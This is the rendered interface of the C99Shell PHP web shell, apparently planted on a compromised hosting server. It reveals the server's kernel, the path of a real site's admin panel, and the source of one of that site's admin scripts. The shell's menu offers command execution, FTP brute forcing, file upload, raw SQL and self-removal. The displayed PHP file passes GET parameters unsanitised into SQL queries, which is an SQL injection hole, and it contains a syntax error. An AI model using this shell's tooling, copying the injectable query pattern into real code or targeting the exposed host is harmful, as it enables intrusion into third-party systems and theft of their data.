!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.3.29 

uname -a: Linux tardis23.nocplanet.net 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024
x86_64
 

 

Safe-mode: OFF (not secure)

/home/memoriacel/public_html/2018/panel/   drwxr-xr-x
Free 985.28 GB of 1859.98 GB (52.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     agregar-foto-noticia-de-stock.php (701 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
require_once("includes/config.php");
require_once(
"includes/funciones.php");

$id_foto=$_GET["id_foto"];
$id_notica=$_GET["id_noticia"];

$fotos=$mysqli->query("
SELECT nombre
FROM foto_stock
WHERE id='"
.$id_foto."'
"
);
$foto mysqli_fetch_assoc($fotos);

$timestamp=time();

$nombre_archivo=$timestamp.".jpeg";

copy($carpeta_stock_original.$foto["nombre"],$carpeta_noticias_original.$nombre_archivo);
copy($carpeta_stock_thumb.$foto["nombre"],$carpeta_noticias_thumb.$nombre_archivo);

$result=$mysqli->query("
INSERT INTO foto_noticia (id_noticia, nombre, orden)    
VALUES (
'
$id_notica',
'"
.$nombre_archivo."',
'99999'
)"
);    

header('Location: administrar-fotos-noticia.php?id='.$id_notica);

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0007 ]--